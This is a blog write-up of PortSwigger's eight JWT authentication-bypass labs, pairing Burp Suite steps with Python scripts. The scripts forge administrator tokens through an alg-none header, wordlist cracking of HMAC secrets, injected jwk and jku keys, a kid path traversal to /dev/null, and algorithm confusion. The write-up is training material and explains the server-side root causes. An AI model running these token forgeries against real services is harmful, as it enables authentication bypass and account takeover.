~ / blog / jwt-labs

PortSwigger JWT Labs 1-8
Write-Up, Burp Workflows & Python Scripts

A lab-by-lab walkthrough of the PortSwigger JWT track, showing both the manual Burp Suite workflow and Python-based alternatives for token decoding, tampering, and forgery.

What This Covers

The full eight-lab JWT path in Web Security Academy, from alg: none abuse to JWK header injection and algorithm confusion, with both Burp and Python approaches where scripts were provided.

Target / Lab

PortSwigger Web Security Academy JWT labs

Tools Used
Burp SuiteJWT EditorRepeaterPythonPyJWTcryptographyExploit Serversig2n helper
Key Takeaways
  • Most JWT bugs are trust bugs: the server trusts attacker-controlled headers, claims, or algorithm choices.
  • Burp is still the cleanest place to validate each idea manually, but scripting is useful once the attack path is understood.
  • When a backend confuses RSA and HMAC, even a public key can become the secret that forges admin access.
// JWT series progress - 8 of 8 labs
Lab 01 Lab 02 Lab 03 Lab 04 Lab 05 Lab 06 Lab 07 Lab 08
// contents
  1. JWT setup in Burp and Python
  2. Lab 1 - Unverified signature
  3. Lab 2 - Flawed signature verification
  4. Lab 3 - Weak signing key
  5. Lab 4 - JWK header injection
  6. Lab 5 - JKU header injection
  7. Lab 6 - KID header path traversal
  8. Lab 7 - Algorithm confusion
  9. Lab 8 - Algorithm confusion with no exposed key
  10. Series recap

JWT setup in Burp and Python

Before touching the labs, install the JWT Editor extension from the Burp BApp Store. That gives you the fast path for decoding tokens, editing claims, generating RSA keys, embedding JWK values, and re-signing tokens without leaving Repeater.

The reusable workflow for almost every JWT lab is the same: capture a request that carries the token, send it to Repeater, inspect the cookie or Authorization header, change the claims, then decide whether the exploit needs none, a forged HMAC signature, or a completely attacker-supplied key. The Python route follows the same logic, just with the token manipulation done in code instead of in JWT Editor.

Header

Declares metadata like alg, kid, jwk, or jku. The dangerous pattern is letting the client choose how verification works.

Payload

Contains identity and authorization claims such as sub, username, and role. Most labs are won by making the server trust a modified payload.

Signature

Should prove that the token came from the server. The entire JWT track is really about all the different ways that guarantee gets broken.

Burp stack

My default stack for these labs is Burp Repeater, JWT Editor, Decoder, and the Exploit Server where needed. For the last algorithm confusion lab, I keep PortSwigger's sig2n helper nearby to derive candidate RSA public keys before finishing the attack back in Burp.

Python prerequisites

For the scripts in this post, the core dependencies are pyjwt and, for the RSA-based labs, cryptography. The weak-signing-key script also assumes you have a usable wordlist, while the JWK and JKU scripts assume you already have a local RSA key pair saved as private_key.pem and public_key.pem.

pip install pyjwt cryptography

Think of the Python path as an alternative once you already understand the lab manually. Burp is usually better for discovery and debugging, while Python is good when you want a repeatable way to decode, modify, and regenerate tokens outside the UI.

01
Apprentice

JWT authentication bypass via unverified signature

Goal: Change a normal session token into an administrator token and reach the admin panel.

What's happening

The application reads the payload claims but never validates the signature. That means you can change the identity claim from your own user to administrator, keep the now-invalid signature in place, and the backend still accepts the token as authoritative.

Claim to target { "sub": "administrator" }

Burp workflow

Repeater steps
  1. Log in as a normal user and capture a request that carries the JWT.
  2. Send the request to Repeater and open the token in JWT Editor.
  3. Change the identity claim that the app actually trusts, usually sub or username, to administrator.
  4. Leave the signature as-is, or let it become stale naturally after the payload change. This lab does not care.
  5. Replay the request, then browse to the admin endpoint and complete the admin action.

Python alternative

If you want to show the same flaw without Burp, this script takes the token, decodes the payload without verification, changes the payload by raw byte replacement, and rebuilds the token with the original signature still attached. That mirrors the exact weakness in this lab: the backend never checks whether the signature still matches the modified payload.

# Demo script for 'JWT Authentication Bypass via Unverified Signature' video: https://youtu.be/-JAf08oGrcc
import jwt
import base64

# Paste JWT token here
token = 'INSERT_TOKEN_HERE'

# Decode the token (without verifying)
payload = jwt.decode(token, options={"verify_signature": False})
print(f"Decoded token: {payload}\n")

# Modify the token (JWT manipulation)
header, payload, signature = token.split('.')
decoded_payload = base64.urlsafe_b64decode(payload + '=' * (-len(payload) % 4))
modified_payload = decoded_payload.replace(b'wiener', b'carlos')
print(f"Modified payload: {modified_payload.decode()}\n")

# Generate a new token with the modified payload (re-encode)
modified_payload_b64 = base64.urlsafe_b64encode(modified_payload).rstrip(b'=').decode()
modified_token = f"{header}.{modified_payload_b64}.{signature}"
print(f"Modified token: {modified_token}\n")
What this script is doing
  1. jwt.decode(..., verify_signature=False) is only there to show you what the original claims look like. The exploit does not require a valid signature.
  2. The script then splits the token manually into header, payload, and signature segments so it can edit the base64url payload directly.
  3. The line decoded_payload.replace(b'wiener', b'carlos') is demo-specific. In your own lab run, change those byte strings to match the user or claim value you want to swap.
  4. Finally, it rebuilds the token with the original signature still attached. Because the server does not verify it, the stale signature becomes irrelevant.
Script caveat

This script works best when the claim value you want to replace already appears plainly in the JSON payload. If the token uses a different claim name or value format, edit the decoded JSON structurally instead of relying on a raw byte swap.

Validation clue

If a tampered token still loads a higher-privilege page even though you never re-signed it, the server is parsing claims without authenticating them first.

01
Takeaway
A JWT is only as trustworthy as its signature verification. If the server skips that step, the token is just attacker-controlled JSON with extra punctuation.

02
Apprentice

JWT authentication bypass via flawed signature verification

Goal: Abuse alg: none handling to promote your token to administrator.

What's happening

This time the backend does look at signature metadata, but it incorrectly honors the attacker-controlled alg header. By switching the token to none, you tell the server there is no signature to verify at all.

Header mutation { "alg": "none", "typ": "JWT" }

Burp workflow

JWT Editor flow
  1. Capture the session token in Repeater and change the payload claim to administrator.
  2. Use JWT Editor to change the header from its original algorithm to none.
  3. Remove the signature content so the third segment is empty.
  4. Replay the request with the modified token and verify that the application accepts the unsigned admin session.

Python alternative

The Python route for this lab is more direct: decode the token without verification, change the identity claim, and re-encode it with algorithm=None. The point is to generate a token whose header advertises alg: none so the backend skips signature verification entirely.

# Demo script for 'JWT Authentication Bypass via Flawed Signature Verification' video: https://youtu.be/rEUoU6OYH_g
import jwt

# Paste JWT token here
token = 'INSERT_TOKEN_HERE'

# Decode the token (without verifying)
decoded_token = jwt.decode(token, options={"verify_signature": False})
print(f"Decoded token: {decoded_token}\n")

# Modify the token (JWT manipulation)
decoded_token['sub'] = 'administrator'
print(f"Modified payload: {decoded_token}\n")

# Generate a new token with the modified payload (re-encode)
# Re-encode the JWT with None algorithm
modified_token = jwt.encode(decoded_token, None, algorithm=None)
print(f"Modified token: {modified_token}\n")
What this script is doing
  1. It decodes the payload without checking the original signature, which is fine because this lab is about generating a brand-new unsigned token.
  2. It changes the sub claim to administrator, matching the trust target in the lab.
  3. jwt.encode(decoded_token, None, algorithm=None) tells PyJWT to emit a token using the none algorithm rather than a signed algorithm like HS256 or RS256.
  4. The final output token is the Python equivalent of what you would build manually in Burp by setting alg to none and clearing the signature segment.
Practical note

Different PyJWT versions can format none tokens slightly differently, so always inspect the final output and make sure it matches the shape the lab accepts: a header, a payload, and an empty signature segment.

Why this matters

The algorithm must be fixed server-side. If the backend trusts the token to describe how it should be verified, the attacker gets to choose the weakest possible path.

02
Takeaway
Never let the client negotiate verification rules. The moment the token chooses its own algorithm, you are already off the rails.

03
Practitioner

JWT authentication bypass via weak signing key

Goal: Recover a weak HMAC secret, then forge a valid administrator token.

What's happening

The token is signed with an HMAC algorithm such as HS256, but the secret is weak enough to guess from a common list. Once you know that secret, the rest of the lab becomes easy: edit the claims and re-sign the JWT legitimately.

What changes after recovery Original: user claims + server secret
Forged: administrator claims + same recovered secret

Burp workflow

Signing path
  1. Confirm the JWT uses an HMAC algorithm such as HS256.
  2. Recover the weak secret using your preferred weak-secret workflow, then move back into JWT Editor for the rest.
  3. Edit the payload so the trusted identity claim becomes administrator.
  4. Re-sign the token with the recovered secret and replay the request in Repeater.
  5. Use the valid forged admin token to access the privileged function.

Python alternative

This script automates the secret-recovery phase by reading the JWT header, identifying the HMAC algorithm in use, and testing candidate secrets from a wordlist until one validates the token. That makes it a good alternative to manual guessing, especially when you want to demonstrate why weak shared secrets break the entire trust model.

# Demo script for 'JWT Authentication Bypass via Weak Signing Key' video: https://youtu.be/ov9yT4WAuzI
import jwt

# Paste JWT token here
jwt_token = 'INSERT_TOKEN_HERE'
wordlist_file = '/usr/share/wordlists/rockyou.txt'

def attempt_fuzzing(secret_key, algorithm):
    try:
        decoded = jwt.decode(jwt_token, secret_key, algorithms=[algorithm])
        print(f"Valid key found: {secret_key}")
        print(f"Decoded payload: {decoded}")
        return True
    except jwt.InvalidSignatureError:
        return False


def fuzz_secret_key(wordlist):
    header = jwt.get_unverified_header(jwt_token)
    algorithm = header.get("alg")
    if not algorithm:
        print("Algorithm not found in JWT header.")
        return None
    else:
        print(f"Algorithm: {algorithm}")

    with open(wordlist, "r") as file:
        for line in file:
            secret_key = line.strip()
            if attempt_fuzzing(secret_key, algorithm):
                return secret_key
    return None


# Start fuzzing
found_key = fuzz_secret_key(wordlist_file)
if found_key:
    print(f"\nSecret key found: {found_key}")
else:
    print("No valid secret key found.")
What this script is doing
  1. It pulls the alg value from the unverified header so it knows which HMAC algorithm to test against.
  2. It loops through a wordlist and attempts to verify the token with each candidate secret.
  3. The first candidate that successfully validates the JWT is printed as the recovered signing key.
  4. At that point, you have effectively become the signing authority for the application and can mint a forged admin token using the recovered secret.
Scope note

As written, this script stops once it finds the secret key. That is enough to prove the weakness, but to complete the full exploit you still need to re-sign a modified administrator token afterward, either in Burp or in a second PyJWT step.

Path note

The bundled wordlist path points to a common Kali/Linux location. On Windows or a custom environment, update wordlist_file to wherever your local wordlist actually lives.

Burp-first note

The important part of this lab is the signed replay, not the cracking tool itself. Once the secret is known, Burp handles the entire forgery and validation loop cleanly.

03
Takeaway
JWT security is not just about choosing a modern algorithm. Weak shared secrets collapse the whole scheme because anyone who learns the secret becomes the signing authority.

04
Practitioner

JWT authentication bypass via JWK header injection

Goal: Embed your own public key inside the token and make the server trust it.

What's happening

The server accepts a jwk header supplied by the client and uses that embedded key to verify the signature. That turns verification into self-approval: you generate the key pair, provide the public key, and sign the token with the matching private key.

Attacker-controlled header { "alg": "RS256", "jwk": { ...your public key... } }

Burp workflow

JWT Editor flow
  1. Generate a fresh RSA key pair in JWT Editor.
  2. Modify the JWT payload so the identity claim becomes administrator.
  3. Use the extension's embedded JWK attack flow to inject your public key into the header.
  4. Sign the token with the private key you just generated.
  5. Replay the forged token in Repeater and confirm the backend accepts the attacker-supplied key material.

Python alternative

The Python version of this attack does the same thing Burp does behind the scenes: it loads your RSA key pair, edits the payload, converts the public key into JWK form, then signs the forged token while embedding the attacker-controlled public key in the header.

# Demo script for 'JWT Authentication Bypass via jwk Header Injection' video: https://youtu.be/t-RfzyW0iqA
import jwt
import base64
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend

# Step 1: Take a JWT and decode it
token = 'INSERT_TOKEN_HERE'

# Step 2: Verify the JWT signature
with open('public_key.pem', 'rb') as f:
    public_key = serialization.load_pem_public_key(
        f.read(),
        backend=default_backend()
    )

# Step 3: Decode the JWT
decoded_token = jwt.decode(token, options={"verify_signature": False})
print(f"Decoded token: {decoded_token}")
decoded_header = jwt.get_unverified_header(token)
print(f"Decoded header: {decoded_header}\n")

# Step 4: Modify the token (JWT manipulation)
decoded_token['sub'] = 'administrator'
print(f"Modified token: {decoded_token}\n")

# Step 5: Sign the modified JWT using your RSA private key and embed the public key in the JWK header
with open('private_key.pem', 'rb') as f:
    private_key = serialization.load_pem_private_key(
        f.read(),
        password=None,
        backend=default_backend()
    )

# Extract the necessary information from the private key
public_key = private_key.public_key()
public_numbers = public_key.public_numbers()

# Build the JWK header
jwk = {
    "kty": "RSA",
    "e": base64.urlsafe_b64encode(public_numbers.e.to_bytes((public_numbers.e.bit_length() + 7) // 8, 'big')).rstrip(b'=').decode('utf-8'),
    "kid": decoded_header['kid'],
    "n": base64.urlsafe_b64encode(public_numbers.n.to_bytes((public_numbers.n.bit_length() + 7) // 8, 'big')).rstrip(b'=').decode('utf-8')
}

# Step 6: Generate the modified token
modified_token = jwt.encode(decoded_token, private_key, algorithm='RS256', headers={'jwk': jwk, 'kid': decoded_header['kid']})

# Print the modified token header
print(f"Modified header: {jwt.get_unverified_header(modified_token)}\n")

# Print the final token
print("Final Token: " + modified_token)
What this script is doing
  1. It reads the original token and extracts both the payload and the existing header values, especially kid.
  2. It loads your own private key, derives the corresponding public key, and converts the public modulus and exponent into JWK form.
  3. It updates the payload so the trusted subject becomes administrator.
  4. It signs the forged token with your private key while embedding the matching public key into the jwk header.
Small implementation detail

The script loads public_key.pem up front, but the real attack only depends on the key pair you control. The critical part is that the token ends up carrying your public key in the header and your private key is used to generate the matching signature.

Trust boundary failure

Verification keys must come from trusted server configuration, not from the JWT itself. A self-declared verification key is not verification at all.

04
Takeaway
If the token can ship its own verification key, you no longer have a signature check. You have an attacker writing both the exam and the answer key.

05
Practitioner

JWT authentication bypass via JKU header injection

Goal: Host your own JWKS file, point the token at it, and sign your own admin session.

What's happening

Instead of trusting an inline jwk, the application trusts a remote key URL from the jku header. If the server fetches that URL without a strong allowlist, you can serve a malicious JWKS document from your own infrastructure and make the backend validate against your key.

{
  "keys": [
    {
      "kty": "RSA",
      "kid": "attacker-key",
      "e": "AQAB",
      "n": "..."
    }
  ]
}

Burp workflow

Exploit Server flow
  1. Generate an RSA key pair in JWT Editor and export the public JWK.
  2. Host a JWKS document on the exploit server that contains your public key.
  3. Change the token payload to administrator.
  4. Set the header jku to your exploit server URL and make sure the kid matches the key in the JWKS file.
  5. Sign the token with your private key and replay it in Repeater.

Python alternative

This version moves the same process into code: decode the token, change the subject, build a JWKS document from your RSA key pair, and emit a forged JWT whose jku header points to attacker-controlled infrastructure.

# Demo script for 'JWT Authentication Bypass via jku Header Injection' video: https://youtu.be/hMRdMmll8Bk
import jwt
import base64
import json
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend

# Take a JWT and JKU URL as input
token = 'INSERT_TOKEN_HERE'
jku_url = 'INSERT_URL_HERE'

# Load and serialize the public key
with open('public_key.pem', 'rb') as f:
    public_key = serialization.load_pem_public_key(
        f.read(),
        backend=default_backend()
    )

# Decode the JWT
decoded_token = jwt.decode(token, options={"verify_signature": False})
print(f"Decoded token:\n{json.dumps(decoded_token, indent=4)}\n")
decoded_header = jwt.get_unverified_header(token)
print(f"Decoded header:\n{json.dumps(decoded_header, indent=4)}\n")

# Modify the token (JWT manipulation)
decoded_token['sub'] = 'administrator'
print(f"Modified token:\n{json.dumps(decoded_token, indent=4)}\n")

# Sign the modified JWT using your RSA private key
with open('private_key.pem', 'rb') as f:
    private_key = serialization.load_pem_private_key(
        f.read(),
        password=None,
        backend=default_backend()
    )

# Extract the necessary information from the keys
public_key = private_key.public_key()
public_numbers = public_key.public_numbers()

# Build the JWKs
jwk = {
    "kty": "RSA",
    "e": base64.urlsafe_b64encode(public_numbers.e.to_bytes((public_numbers.e.bit_length() + 7) // 8, 'big')).rstrip(b'=').decode('utf-8'),
    "kid": decoded_header['kid'],
    "n": base64.urlsafe_b64encode(public_numbers.n.to_bytes((public_numbers.n.bit_length() + 7) // 8, 'big')).rstrip(b'=').decode('utf-8')
}
keys = {"keys": [jwk]}
print(f"JWK:\n{json.dumps(keys, indent=4)}\n")

# Generate the modified token
modified_token = jwt.encode(decoded_token, private_key, algorithm='RS256', headers={'jku': jku_url, 'kid': jwk['kid']})

# Print the modified token header
print(f"Modified header:\n{json.dumps(jwt.get_unverified_header(modified_token), indent=4)}\n")

# Print the final token
print("Final Token: " + modified_token)
What this script is doing
  1. It decodes the original token and updates the trusted identity claim to administrator.
  2. It derives a JWK from your RSA public key and wraps it inside a JWKS structure.
  3. It prints that JWKS output so you can host it on the exploit server or any reachable endpoint you control.
  4. It signs the modified token with your private key and sets jku so the server fetches your hosted key set during verification.
Important split of responsibilities

The script prints the JWKS JSON, but you still need to publish that JSON somewhere the target server can reach. In the PortSwigger lab, that usually means pasting it into the exploit server response body and using that URL as jku_url.

Operational detail

If the JWKS document is malformed or the kid value does not line up exactly, the request usually fails fast. This lab is as much about clean key hosting as it is about header abuse.

05
Takeaway
Remote key URLs are high-risk unless they are tightly pinned. A signature check is useless when the attacker can tell the server where to fetch the trusted key from.

06
Practitioner

JWT authentication bypass via KID header path traversal

Goal: Abuse file-based key lookup so the backend signs against a file you control indirectly.

What's happening

Some applications use the kid header as a filename or database lookup key. In this lab, that lookup is vulnerable to path traversal, so you can point the backend at /dev/null and make it use an empty secret for HMAC verification.

Header mutation { "alg": "HS256", "kid": "../../../../../../dev/null" }

Burp workflow

Empty-secret replay
  1. Open the JWT in JWT Editor and change the payload claim to administrator.
  2. Modify the kid header so it traverses to /dev/null.
  3. Sign the token as HS256 with a blank secret.
  4. Replay the request and confirm the server now validates against the empty file target instead of the intended key store.

Python alternative

This script turns the same idea into a small PyJWT payload generator: decode the token without verification, change the identity claim, then re-sign it under HS256 with an empty secret while sending a traversal string in the kid header.

# Demo script for 'JWT Authentication Bypass via kid Header Path Traversal' video: https://youtu.be/78FIFrOi4Os
import jwt

# Paste JWT token here
token = 'INSERT_TOKEN_HERE'

# Decode the token (without verifying)
decoded_token = jwt.decode(token, options={"verify_signature": False})
print(f"Decoded token: {decoded_token}\n")

# Modify the token (JWT manipulation)
decoded_token['sub'] = 'administrator'
print(f"Modified payload: {decoded_token}\n")

# Generate a new token with the modified payload and added header parameter (re-encode)
modified_token = jwt.encode(decoded_token, '', algorithm='HS256', headers={"kid": "../../../dev/null"})
print(f"Modified token: {modified_token}\n")
What this script is doing
  1. It decodes the token without validating the original signature, because the goal is to create a brand-new forged token.
  2. It changes the payload so the trusted subject becomes administrator.
  3. It re-encodes the JWT with an empty HMAC secret and a traversal payload in the kid header.
  4. If the server uses kid as a file path and resolves it unsafely, verification ends up reading from /dev/null, which behaves like an empty secret.
Environment note

The hard-coded traversal target in the script is Unix-style because that is what the PortSwigger lab uses. In a real assessment, the path depth and target file depend entirely on the backend filesystem and how the application resolves kid values.

Same root cause, new wrapper

This is still path traversal, just hiding inside JWT plumbing. Anytime header values become filesystem paths, the attack surface expands immediately.

06
Takeaway
JWT bugs are often just classic bugs in costume. Here the token is only the transport layer for a file path injection bug.

07
Practitioner

JWT authentication bypass via algorithm confusion

Goal: Convert an RSA verification flow into an HMAC signing flow using the public key as the secret.

What's happening

The application expects asymmetric signatures, but the backend verification routine accepts whatever algorithm the token requests. If you flip the header to HS256 and use the server's RSA public key bytes as the HMAC secret, the generic verifier can be tricked into blessing your forged token.

Header pivot { "alg": "HS256", "typ": "JWT" }

Burp workflow

Key confusion attack
  1. Obtain the server's RSA public key from the lab material, a JWKS endpoint, or another exposed source.
  2. Change the token payload to carry administrator-level claims.
  3. Use JWT Editor's HMAC key confusion flow to switch the token to HS256.
  4. Sign the forged token with the server's public key bytes as the HMAC secret.
  5. Replay the request and verify that the generic verifier accepts the token under the wrong algorithm family.
Python coverage note

I did not get a companion Python script for this lab in the set you sent over, so I am keeping this section Burp-led instead of inventing a separate script path that you did not actually use.

Mental model

RSA public keys are safe to share only when the server treats them strictly as public verification material. The moment the code path lets them act like HMAC secrets, sharing them becomes enough to forge tokens.

07
Takeaway
Algorithm confusion is a design failure, not a crypto failure. The cryptography works exactly as implemented; the implementation just allows the attacker to select the wrong primitive.

08
Practitioner

JWT authentication bypass via algorithm confusion with no exposed key

Goal: Derive candidate public keys from observed RSA tokens, then finish the confusion attack in Burp.

What's happening

The backend still suffers from algorithm confusion, but this time it does not hand you the RSA public key directly. The trick is to collect multiple valid RS256 tokens, derive candidate public keys using PortSwigger's sig2n helper, then return to Burp and test each candidate as the HMAC secret.

Two-stage attack Stage 1: derive candidate public keys from real RS256 tokens
Stage 2: sign an HS256 admin token in Burp with each candidate until one lands

Burp workflow

Derive, then replay
  1. Capture at least two valid RSA-signed JWTs from the application.
  2. Feed those tokens into sig2n to generate candidate public keys and matching forged-token material.
  3. Back in Burp, edit the payload to administrator and flip the header to HS256.
  4. Try the candidate public keys as HMAC secrets until the server accepts one of the forged tokens.
  5. Use the working token to reach the admin function and finish the lab.
Python coverage note

This is also still a Burp-first section because no standalone Python script was included for it. The helper here is sig2n for key derivation, then the actual replay and validation loop stays easier to reason about in Repeater.

The key lesson

Even when the public key is not visibly exposed, broken algorithm handling can still collapse once enough signed material leaks through the application. Hiding the key is not the same thing as removing the confusion flaw.

08
Takeaway
This is the most technical lab in the set, but the root cause is unchanged: the backend still lets the token steer verification logic that should have been fixed in code.

R
Recap

What the JWT track really teaches

Goal: Recognize JWT flaws as trust-boundary bugs, not just token-format tricks.

Taken together, these labs form a clean progression. The early labs show what happens when the server skips signature checks entirely. The middle labs show the danger of trusting attacker-controlled key metadata. The last two labs show why algorithm selection must be pinned rigidly server-side. In this version of the writeup, the Python alternatives cover labs 1 through 6 because those are the scripts I actually had on hand, while labs 7 and 8 stay centered on the Burp workflow.

Labs 1-3

Signature handling failures. Ignore the signature, accept none, or use a weak HMAC secret, and the attacker can simply mint an admin identity.

Labs 4-6

Header injection failures. jwk, jku, and kid become attacker-controlled input to the key-selection process.

Labs 7-8

Algorithm confusion failures. Mixing asymmetric verification with symmetric signing logic turns public information into signing material.

Burp pattern

Capture, decode, tamper, re-sign, replay. The lab changes, but the manual workflow stays consistent enough that Burp becomes the natural home for the whole JWT track.

Up next

If you keep moving through the Academy after JWTs, the same mindset transfers well into OAuth, access-control flaws, and API authorization issues: map the trust boundary first, then ask what the client is still allowed to influence.

Move through the archive

Browse all posts
Older post Frankenstein NAS Build 2026-04-18 . ~12 min read

Related posts

Posts that overlap with the same tools, techniques, or training targets.

← Back to blog